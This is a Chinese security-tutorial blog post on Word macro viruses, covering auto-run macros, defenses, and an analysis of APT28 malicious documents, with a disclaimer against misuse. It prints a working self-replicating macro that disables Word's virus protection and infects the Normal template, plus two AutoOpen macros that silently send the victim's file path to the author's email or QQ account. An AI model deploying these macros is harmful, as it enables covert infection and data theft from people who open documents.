[网络安全自学篇] 六十九.宏病毒之入门基础、防御措施、自发邮件及APT28样本分析

这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步。前文分享了利用永恒之蓝漏洞加载WannaCry勒索病毒,实现对Win7文件加密的过程,并讲解WannaCry勒索病毒的原理。这篇文章将讲解宏病毒相关知识,它仍然活跃于各个APT攻击样本中,本文包括宏病毒基础原理、防御措施、自发邮件及APT28样本分析。基础性文章,希望对您有所帮助。

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

PS:本文参考了github、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

作者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
漏洞利用:https://github.com/eastmountyxz/Macro-Virus


声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
[网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
[网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包



一.什么是宏

1.基础概念

宏(Macro)是一种批量处理的称谓,是指能组织到一起作为独立的命令使用的一系列Word命令,可以实现任务执行的自动化,简化日常的工作。Microsoft Office使用Visual Basic for Applications(VBA)进行宏的编写。

大家可能接触到的宏并不多,但如果经常使用Word文档时,可能会遇到宏,比如国家自然科学基金申请,或者作者之前分享的宏技巧。文章如下:
[Office] WPS Excel通过添加宏实现多张表格合并
[黑科技] WPS通过VB宏函数实现自编号功能

注意,在Office中可以直接使用Word的宏函数,而WPS需要安装相关的软件后才能使用。打开WPS Word如下图所示,宏是不能使用的。

在这里插入图片描述


2.安装配置

这时需要下载VBA for WPS并安装才能使用。下载安装如下图所示:
下载地址:https://github.com/eastmountyxz/Macro-Virus

在这里插入图片描述

安装完后可以设置宏函数,如下图所示:

在这里插入图片描述

点击"宏",然后"创建"宏函数,如下图所示,取名为test。

在这里插入图片描述

创建后如下图所示,可以看到是VB代码进行编写的。

在这里插入图片描述

代码示例如下:

Sub test()
'
' test Macro
'
    Dim sLineNum3 As String     '行号(文字)
    Dim nLineNum                '行号(数值)
    Dim i As Long
 
    Title = "输入编号信息"
    a1 = "请输入总编号开始号:"
    b1 = InputBox(a1, Title)
End Sub

WPS可以保存为带宏函数的格式,如下图所示。

在这里插入图片描述

然后运行宏函数如下图所示,点击"运行"即可,如下图所示。

在这里插入图片描述

运行结果如下图所示,弹出界面输入:

在这里插入图片描述


3.录制新宏案例

第一步,降低宏的安全性。
宏的默认安全性非常高,有时会导致宏程序不会自动执行,我们可以修改降低其安全性。

在这里插入图片描述

第二步,设置字体隐藏。
假设我们现在有这样一个需求,要将文档中的内容隐藏。怎么做呢?传统方法是全选文字,然后设置字体隐藏,如下图所示。

在这里插入图片描述

如果需要查看文字再进行还原,这些小技巧往往会隐藏在病毒或木马中。那么,我们是否可以将这隐藏和还原两个操作用两个快捷键关联起来呢?下次再进行相关操作时,会变得更加简洁。

在这里插入图片描述

第三步,点击录制新宏。

在这里插入图片描述

第四步,将刚才的操作执行一遍,全选文字然后隐藏,然后点击停止录制。

在这里插入图片描述

此时,可以看到我们新创建的宏MacroHide。

在这里插入图片描述

第五步,再录制一个显示的新宏MacroShow。

在这里插入图片描述

显示之后我们停止录制。

在这里插入图片描述

第六步,绑定快捷键。
如果是在Office中,可以直接选择对应的快捷键,但WPS设置不同。

在这里插入图片描述

WPS设置如下:点击“文件”->“选项”,在“选项”界面最左侧找到并点击“自定义功能区”,选择“自定义”按钮。

在这里插入图片描述

设置快捷键如下:

  • MacroHide对应Ctrl+Shift+H
  • MacroShow对应Ctrl+Shift+S

在这里插入图片描述

此时,功能已经实现,当我们按下“Ctrl+Shift+H”时,文字隐藏,按下“Ctrl+Shift+S”时文字显示。

在这里插入图片描述

当然宏可以更加复杂,接下来我们将介绍。同时,怎么去查看宏代码呢?通过VB编辑器能够查看宏代码,如下图所示。

在这里插入图片描述

在Normal下的模块=>NewMacros有我们刚刚编辑的两个宏。

在这里插入图片描述

该代码的核心内容如下:

  • Selection.WholeStory 全选功能
  • Selection.Font 字体设置
  • Hidden = 1 隐藏属性设置为True
Sub MacroHide()
'
' MacroHide Macro
' 宏由 xiuzhang 录制,时间: 2020/04/20
'
    Selection.WholeStory
    With Selection.Font
        .Underline = wdUnderlineNone
        .EmphasisMark = wdEmphasisMarkNone
        .Hidden = 0
        .Shadow = 0
        .Outline = 0
        .Emboss = 0
        .Engrave = 0
        .Scaling = 100
        .Scaling = 100
        .Hidden = 1
        .Hidden = 1
    End With
End Sub


二.宏病毒

1.宏病毒基础

那么,什么又是宏病毒呢?
宏病毒是一种寄存在文档或模板的宏中的计算机病毒,存在于数据文件或模板中(字处理文档、数据表格、数据库、演示文档等),使用宏语言编写,利用宏语言的功能将自己寄生到其他数据文档。

最早的时候,人们认为数据文档是不可能带有病毒的,因为数据文档不包含指令,直到宏病毒出现才改变大家的看法。当我们打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。


那么,宏病毒又如何获得这些控制权呢?
只有拿到控制前之后宏病毒才能进行传播。它和Office的特性相关,Office支持一些自动执行的宏,如果将病毒代码放到自动执行的宏中,Word打开时会给病毒传播创造条件。

利用自动执行宏将病毒代码写在宏汇中,由于这些宏会自动执行,从而获取控制权。

(1) WORD

  • AutoOpen:打开Word文档
  • AutoClose:关闭Word文档
  • AutoExec:打开Word程序(Word文档和Word程序区别)
  • AutoExit:退出Word程序
  • AutoNew:新建宏

(2) EXCEL

  • Auto_Open
  • Auto_Close
  • Auto_Activate
  • Auto_Deactivate

(3) Office97/2000

  • Document_Open
  • Document_Close
  • Document_New


2.自动宏案例

我们通过VB编辑器增加宏代码,定义了五个自动宏。

  • 第一个是新建文件:AutoNew
  • 第二个是退出程序:AutoExit
  • 第三个关闭文档:AutoClose
  • 第四个打开文档:AutoExec
  • 第五个打开程序:AutoExec

注意,程序指WPS或Office,一个程序可以打开或创建多个文档,他们存在一定区别。同样,它们的权限也有区别。

在这里插入图片描述

代码如下:

Sub AutoOpen()
  MsgBox "您好,您打开了Word文档!", 0, "宏病毒测试"
End Sub

Sub AutoExec()
  MsgBox "您好,您打开了Word程序!", 0, "宏病毒测试"
End Sub

Sub AutoNew()
  MsgBox "您好,您选择了新建文件!", 0, "宏病毒测试"
End Sub

Sub AutoExit()
  MsgBox "欢迎下次光临!", 0, "宏病毒测试"
End Sub

Sub AutoClose()
  MsgBox "下次还要来哦!", 0, "宏病毒测试"
End Sub

Sub MyFirstVBAProcedure()
    Dim NormProj
    MsgBox "欢迎光临XXXXXX安全实验室!", 0, "宏病毒测试"
    Set NormProj = NormalTemplate.VBProject
    MsgBox NormProj.Name, 0, "模块文件名"    '显示模板文件的名字
    With Assistant.NewBalloon           '调出助手
        .Icon = msoIconAlert
        .Animation = msoAnimationGetArtsy
        .Heading = "Attention,Please!"
        .Text = "Today I turn into a martian!"
        .Show
    End With
End Sub

当我们打开Word时,会提示我们安全警告,选择“启用宏”。

在这里插入图片描述

此时会提示一个打开Word文档的对话框,表示AutoOpen宏自启动。

在这里插入图片描述

当我们关闭程序会提示如下对话框。

在这里插入图片描述

如果我们想要查看宏的具体定义,可以查看定义的函数,如下图所示,也可以在工具栏中选择VB编辑器查看代码。

在这里插入图片描述

当我们执行某个函数,会有对应的执行效果。比如弹出“宏病毒测试”对话框。

在这里插入图片描述

你可能会疑惑,为什么只弹出了两个对话框呢?
因为宏包括两种类型——局部宏和全局宏。而退出Word程序和进入Word程序不是当前文档能定义的。其他三个宏无法起到作用,我们需要将它们复制到Normal模块中才能运行。



3.宏病毒感染

在Word和其他微软Office系列办公软件中,宏分为两种。

  • 内建宏:局部宏,位于文档中,对该文档有效,如文档打开(AutoOpen)、保存、打印、关闭等
  • 全局宏:位于office模板中,为所有文档所共用,如打开Word程序(AutoExec)

宏病毒的传播路线如下:

  • 单机:单个Office文档 => Office文档模板 => 多个Office文档(文档到模块感染)
  • 网络:电子邮件居多

首先Office文档被感染病毒,当文档打开会执行自动宏,如果宏被执行,它会去检测当前模板是否被感染病毒,如果没有被感染,它会将释放自身的病毒代码。当模板被感染之后,系统中任何一个文档被打开,都会执行模板中的病毒,宏病毒进行传播。

宏病毒的感染方案就是让宏在这两类文件之间互相感染,即数据文档、文档模板。

下面是老师课程的示例图。

在这里插入图片描述

注意,宏代码是可以调试的。

在这里插入图片描述

完整代码如下:

Sub test()
    'On Error Resume Next
    Application.DisplayAlerts = wdAlertsNone
    Application.EnableCancelKey = wdCancelDisabled
    Application.DisplayStatusBar = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False        '以上是病毒基本的自我保护措施
    Set Doc = ActiveDocument.VBProject.VBComponents
    '取当前活动文档中工程组件集合
    Set Tmp = NormalTemplate.VBProject.VBComponents
    '取Word默认模板中工程组件集合
    Const ExportSource = "c:\jackie.sys"
    Const VirusName = "AIGTMV1"               '该字符串相当于一个病毒感染标志
    Application.VBE.ActiveVBProject.VBComponents(VirusName).Export ExportSource
                                 '将当前病毒代码导出到c:\jackie.sys文件保存
                                 
    For i = 1 To Tmp.Count
        If Tmp(i).Name = VirusName Then TmpInstalled = 1
     '检查模板是否已经被感染病毒
    Next i
    
    For j = 1 To Doc.Count
        If Doc(j).Name = VirusName Then DocInstalled = 1
                                     '检查当前活动文档是否已被感染病毒
    Next j
    If TmpInstalled = 0 Then                 '如果模板没有被感染,对其进行感染
        Tmp.Import ExportSource              '从c:\jackie.sys将病毒导入模板
        NormalTemplate.Save                  '自动保存模板,以免引起用户怀疑
 
    End If
    If DocInstalled = 0 Then                 '如果当前活动文档没有被感染
        Doc.Import ExportSource              '从c:\jackie.sys将病毒导入当前活动文档
        ActiveDocument.SaveAs ActiveDocument.FullName '自动保存当前活动文档
    End If
    MsgBox "Word instructional macro by jackie", 0, "Word.APMP"
End Sub

宏病毒也可以通过网络进行传播,譬如电子邮件。

  • Mellisa病毒:自动往OutLook邮件用户地址簿中的前50位用户发送病毒副本
  • “叛逃者”病毒:也集成了感染Office文档的宏病毒感染功能,并且可以通过OutLook发送病毒副本

在这里插入图片描述



三.宏病毒的自我保护与防御

宏病毒的自我保护主要包括三种方法:

(1) 禁止提示信息
On Error Resume Next 如果发生错误,不弹出出错窗口,继续执行下面语句
Application.DisplayAlerts = wdAlertsNone 不弹出警告窗口
Application.DisplayStatusBar = False 不显示状态栏,以免显示宏的运行状态
Options.VirusProtection = False 关闭病毒保护功能,运行前如果包含宏,不提示

(2) 屏蔽命令菜单,不允许查看宏

  • 通过特定宏定义
Sub ViewVBCode()
    MsgBox "Unexcpected error",16
End Sub

ViewCode:该过程和ViewVBCode函数一样,如果用户按工具栏上的小图标就会执行这个过程。

  • Disable或者删除特定菜单项
    用来使“工具—宏”菜单失效的语句
    CommandBars(“Tools”).Controls(16).Enabled = False

(3) 隐藏宏的真实病毒代码
在“自动宏”中,不包括任何感染或破坏的代码,但包含了创建、执行和删除新宏(实际进行感染和破坏的宏)的代码;将宏代码字体颜色设置成与背景一样的白色等。


宏病毒的防御措施包括:

  • 一旦发现计算机Office软件打开后弹出系统警告框,并且无法“另存为”,就表示该文件已感染宏病毒,此时不能再打开其他文件,否则病毒也会感染,应马上关闭删除该文件。若文件重要不能删除,则需用杀毒软件全盘扫面,处理感染文件。
  • 开启禁用宏进行防止再次感染病毒。在“受信任位置”中,删除“可靠来源”列表框中的不安全来源,根据实际情况设置是否信任所有安装的加载项和模板,设置宏的安全性。

在这里插入图片描述

  • 安装杀毒软件,打全系统补丁是预防计算机病毒的基本措施,当然也适用于宏病毒,除此这些常规手段之外,宏病毒还有专门的防治措施。
  • 在线沙箱检测文档是否宏病毒。


四.案例:CDO自发邮箱

接下来我们制作一个宏,当对方打开文档时就知道该文档在对方电脑存储的具体路径。常见方法包括:

  • 邮件组件,如CDO组件
  • 远程脚本

这里采用CDO自发邮件实现。通过Word VB编写脚本,设置文档打开时运行,利用CDO发送电子邮件将文件的路径和名字发送到指定邮箱中。步骤如下:

  1. 利用AutoOpen执行并打开文档时运行
  2. 利用WordObj.ActiveDocument获取文件信息
  3. 利用CDO实现电子邮件实现信息传递

参考文献:
宏病毒+使用CDO自动发邮件 - 良月廿七
word宏病毒通过邮件获取路径和文件名 - Braylon1002
宏的基本概念与使用 - WHU MOOC
宏&一个简单的宏病毒示例 - Erio

定义的宏函数为AutoOpen,如下图所示:

在这里插入图片描述

核心代码如下所示:

在这里插入图片描述

完整代码如下,包括获取文件夹路径、定义邮件地址、添加CDO库、设置微软服务器、CDO邮件参数设置、发送数据

Sub AutoOpen()
' AutoOpen宏
' By: CSDN Eastmount 2020-04-21
    
    ' 获取文件夹路径
    Dim WordObj As Object
    Dim Doc As Object
    Set WordObj = GetObject(, "Word.Application")
    Set Doc = WordObj.ActiveDocument
    MsgBox (Doc.Path)
    
    ' 定义邮件地址
    Const from1 = "152xxxxxxxx@163.com"
    Const to1 = "xxxxxxxxxx@qq.com"
    Const password = "xxxxxxxxxx"
    
    ' 添加CDO库
    Set CDO = CreateObject("CDO.Message")
    CDO.from = from1
    CDO.to = to1
    CDO.Subject = Doc.Name
    CDO.Textbody = Doc.Path
    
    ' 微软服务器网址
    MsgBox ("发送邮件")
    Const proxyUrl = "http://schemas.microsoft.com/cdo/configuration/"
    With CDO.Configuration.Fields
        .Item(proxyUrl & "sendusing") = 2                     '发送端口
        .Item(proxyUrl & "smtpserver") = "smtp.163.com"       'SMTP服务器地址
        .Item(proxyUrl & "smtpserverport") = 25               'SMTP服务器端口
        .Item(proxyUrl & "smtpauthenticate") = 1              '是否开启用户名密码验证
        .Item(proxyUrl & "sendusername") = from1              '发送方邮箱名称
        .Item(proxyUrl & "sendpassword") = password           '发送方邮箱密码
        .Item(proxyUrl & "smtpusessl") = True                 '是否使用ssl协议
        .Item(proxyUrl & "smtpconnectiontimeout") = 60        '时延
        .Update
    End With
    
    ' 发送数据
    CDO.Send
    Set CDO = Nothing
    MsgBox ("成功!")
End Sub

当test04.doc文件打开时,它会自动运行,其结果如下图所示:

在这里插入图片描述

接着对话框提示发送邮件。

在这里插入图片描述

最终邮件通过宏病毒发送成功。

在这里插入图片描述

下图可见,成功将Word稳定打开的路径地址发送到了目标邮箱,如果宏病毒再获取更详细的信息或文件,是否也能发送到指定邮箱呢?这样的恶意代码仍需要重视。

在这里插入图片描述


注意事项:
(1) 如果在撰写宏病毒过程中,出现“缺少:列表分隔符或)”,我们需要进行调试及修改。

在这里插入图片描述

(2) 如果提示“邮件无法发送到SMTP服务器,传输错误代码为 0x80040217。服务器响应为 not available”,则需要开启STMP授权。

在这里插入图片描述

CDO发送邮件时需要开启邮件的stmp授权代理,网易邮箱163设置方法如下图所示:

在这里插入图片描述

如果腾讯邮箱要开启SMTP/POP3服务,则将生成的授权码当作邮箱登陆密码来进行邮件发送,注意设置的是授权码而不是密码。

在这里插入图片描述

在这里插入图片描述

(3) 如果wps报429 ActiveX不能创建对象 ,则解决方法参考:https://www.cnblogs.com/pyman/p/7918484.html



五.案例:QQ发送信息

接着通过QQ发送信息来制作宏病毒,并获取对方电脑存储的具体路径。具体流程:

  • 获取文件路径
  • 将路径复制至剪贴板
  • 发送QQ消息
  • 通过sendkeys输入ctrl+V发送粘贴内容

注意,腾讯WebQQ停止运营了,且不好获取QQ的聊天窗口句柄,才采用了该方法。该部分主要参考师弟的代码,再次感谢。

完整宏代码如下:

Sub AutoOpen()
    ' 获取文件路径
    DocPath = ActiveDocument.Path
    DocName = ActiveDocument.Name
    Text1 = "DocPath:" + DocPath
    Text2 = "DocName:" + DocName
    Result = Text1 + Text2
    MsgBox (Result)
    
    ' 将内容送入剪贴板
    With CreateObject("new:{1C3B4210-F441-11CE-B9EA-00AA006B1A69}")
        .SetText Result
        .PutInClipboard
    End With
    
    ' 发送QQ消息
    Shell "cmd /c start tencent://Message/?Uin=QQ号码&weName=qzone.qq.com & Menu=yes"
    
    Dim t As Single
    t = Timer
    Do
      DoEvents
    Loop While Timer - t < 2    '搁置2s
    
    ' 粘贴
    SendKeys "^v"
    SendKeys "{ENTER}"
    SendKeys "{ENTER}"
    SendKeys "^{ENTER}"
End Sub

运行代码如下,获取了Word文档的路径。

在这里插入图片描述

此时内容复制至剪贴板,如果输入Ctrl+V,输出内容如下:

在这里插入图片描述

通过下面的命令可以直接打开某个QQ的窗口。

  • cmd /c start tencent://Message/?Uin=QQ号码&weName=qzone.qq.com & Menu=yes

在这里插入图片描述

最终当我们打开Word文档,它会执行自动代码,并向某个QQ号自动发送信息,如下图所示:

在这里插入图片描述



六.APT攻击中的宏病毒

最后分享先知社区关于APT28样本的宏病毒分析,和作者的这篇文章基础知识非常相关。如果该部分有不当的地方,可以提醒我删除,谢谢。
参考文献:APT28样本分析之宏病毒分析

APT28组织是一个与ELS有关的高级攻击团伙,本次分析的是该团伙使用的宏病毒,所有资料均来自互联网。比如,2018年10月到11月OZ外交处理事务组织的鱼叉邮件(paloalto),2017年7月到8月酒店行业的鱼叉邮件(Fireeye),2017年10月MG研究机构的鱼叉邮件(cisco)。

1.OZ鱼叉邮件

  • 文件名称:crash list(Lion Air Boeing 737).docx
  • SHA-256 2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f
  • 创建时间:2018:09:11 04:22:00Z
  • 文件大小:32.9 KB (33,775 字节)
  • 基本方法
    打开文档会进行远程模板加载,使用这种攻击首先初始文件不会有明显的恶意代码,并且可以收集受害者的IP,一旦攻击成功,就关闭服务器,难以追踪。

首先,远程模板的位置 http://188.241.58.170/live/owa/office.dotm。注意,在分析恶意样本时,千万别访问这些远程链接或文件,很可能中病毒或成为肉鸡。

在这里插入图片描述

通过宏代码分析,发现其没有进行混淆工作,但是这次使用AutoClose,只有文档关闭的时候,恶意代码才会执行。从而会绕过一些不关闭文档的沙箱检测。

在这里插入图片描述

此次宏文件一共会创建两个文件,如下所示,分别是从 UserForm1.Label2.Caption 和 UserForm1.Label1.Caption 中提取出来使用base64编码的恶意文件。

  • Environ(“APPDATA”) “\MSDN” “~msdn”
  • Environ(“TEMP”) “~temp.docm”

在这里插入图片描述

选择UserForm1窗体右键保存后,可以看到里面经过base64编码的恶意文件。

在这里插入图片描述

在这里插入图片描述

将msdn和temp.docm写入后开始加载temp.docm,再运行temp.docm的Module1.Proc1。

在这里插入图片描述

最后可以看到通过shell运行释放exe。

在这里插入图片描述



2.酒店行业鱼叉邮件

  • 文件名称:Hotel_Reservation_Form.doc
  • SHA-256 a4a455db9f297e2b9fe99d63c9d31e827efb2cda65be445625fa64f4fce7f797
  • 创建时间:2017:07:03 05:33:00Z
  • 文件大小:76.7 KB (78,600 字节)
  • 基本方法
    针对特定的攻击目标对内容进行了定制化处理,样本使用WMI调用
    rundll32.exe启动。

首先,样本运行完如下,可以看到针对特定的攻击目标对内容进行了特定的定制化。

在这里插入图片描述

分析宏代码,发现宏代码是加密过的。

在这里插入图片描述

解密可以看到三个函数,攻击者并没有做太多的混淆,而是将关键的PE文件BASE64编码放到XML文件中,包括:

  • AutoOpen()
  • DecodeBase64(base64)
  • Execute()

获取指定xml节点的信息。

在这里插入图片描述

最后在docProps/app.xml中发现了这个base64编码的文本。

在这里插入图片描述

之后将base64文本文件解码。

在这里插入图片描述

解密后为一个PE文件。

在这里插入图片描述

发现将样本放到APPDATA环境变量的目录下,文件名为user.dat,最后使用了WMI调用rundll32.exe启动。

在这里插入图片描述



3.研究机构鱼叉邮件

  • 文件名称:Conference_on_Cyber_Conflict.doc
  • SHA-256 e5511b22245e26a003923ba476d7c36029939b2d1936e17a9b35b396467179ae
  • 创建时间:2017:10:03 01:36:00
  • 文件大小:333 KB (341,504 字节)
  • 基本方法
    针对特定的攻击目标对内容进行了定制化处理,样本base64解码,设置bat脚本并启动。

样本运行完如下,可以看到针对特定的攻击目标对内容进行了特定的定制化。

在这里插入图片描述

对宏代码进行了加密,解密可以看到三个函数,攻击者并没有做太多的混淆,而是将关键的可执行文件分散放编码放到文件属性中。

  • AutoOpen()
  • DecodeBase64(base64)
  • Execute()

将base64数据放到了word的内置属性中。

在这里插入图片描述

合并获取的编码值并解码。

在这里插入图片描述

最后设置bat脚本,然后启动

在这里插入图片描述

在这里插入图片描述



七.总结

写到这里,这篇宏病毒基础性文章就介绍结束了,包括入门基础、防御措施、自发邮件及APT28样本分析,希望对您有所帮助。接下来作者还会继续深入分析宏病毒,并结合实例和防御进行讲解,也推荐大家阅读参考文献大佬们的文章。继续加油~

这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知自己很菜,得努力前行。

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

(By:Eastmount 2020-04-21 晚上11点写于贵阳 http://blog.csdn.net/eastmount/ )


参考文献:
[1] 实验室小伙伴们的分享、《软件安全》课程实验(详见网易云课程WHU)
[2] 宏的基本概念与使用 - WHU MOOC
[3] 宏病毒+使用CDO自动发邮件 - 良月廿七
[4] word宏病毒通过邮件获取路径和文件名 - Braylon1002
[5] 宏&一个简单的宏病毒示例 - Erio
[6] PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors
[7] APT28样本分析之宏病毒分析 - 先知社区
[8] 宏病毒研究2——实战研究篇 - i春秋老师 icq5f7a075d
[9] [Office] WPS Excel通过添加宏实现多张表格合并
[10] [黑科技] WPS通过VB宏函数实现自编号功能
[11] https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html
[12] https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
[13] https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html

发布了456 篇原创文章 · 获赞 6531 · 访问量 510万+

猜你喜欢

转载自blog.csdn.net/Eastmount/article/details/105646194
今日推荐